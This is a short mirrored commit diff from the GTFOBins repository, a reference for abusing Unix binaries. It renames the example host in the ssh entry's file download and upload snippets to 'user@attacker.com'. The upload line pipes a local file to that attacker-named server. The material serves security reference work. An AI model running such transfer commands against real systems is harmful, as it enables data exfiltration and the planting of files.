mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2025-09-20 23:29:23 +02:00
Use target.com and attacker.com
This commit is contained in:
@@ -6,14 +6,14 @@ functions:
|
||||
download:
|
||||
- description: Fetch a remote file from a SSH server.
|
||||
code: |
|
||||
HOST=user@10.0.0.1
|
||||
HOST=user@attacker.com
|
||||
RPATH=file_to_get
|
||||
LPATH=where_to_save
|
||||
ssh $HOST "cat $RPATH" > $LPATH
|
||||
upload:
|
||||
- description: Send local file to a SSH server.
|
||||
code: |
|
||||
HOST=user@10.0.0.1
|
||||
HOST=user@attacker.com
|
||||
RPATH=where_to_save
|
||||
LPATH=file_to_send
|
||||
ssh $HOST "cat > $RPATH" < $LPATH
|
||||
|
Reference in New Issue
Block a user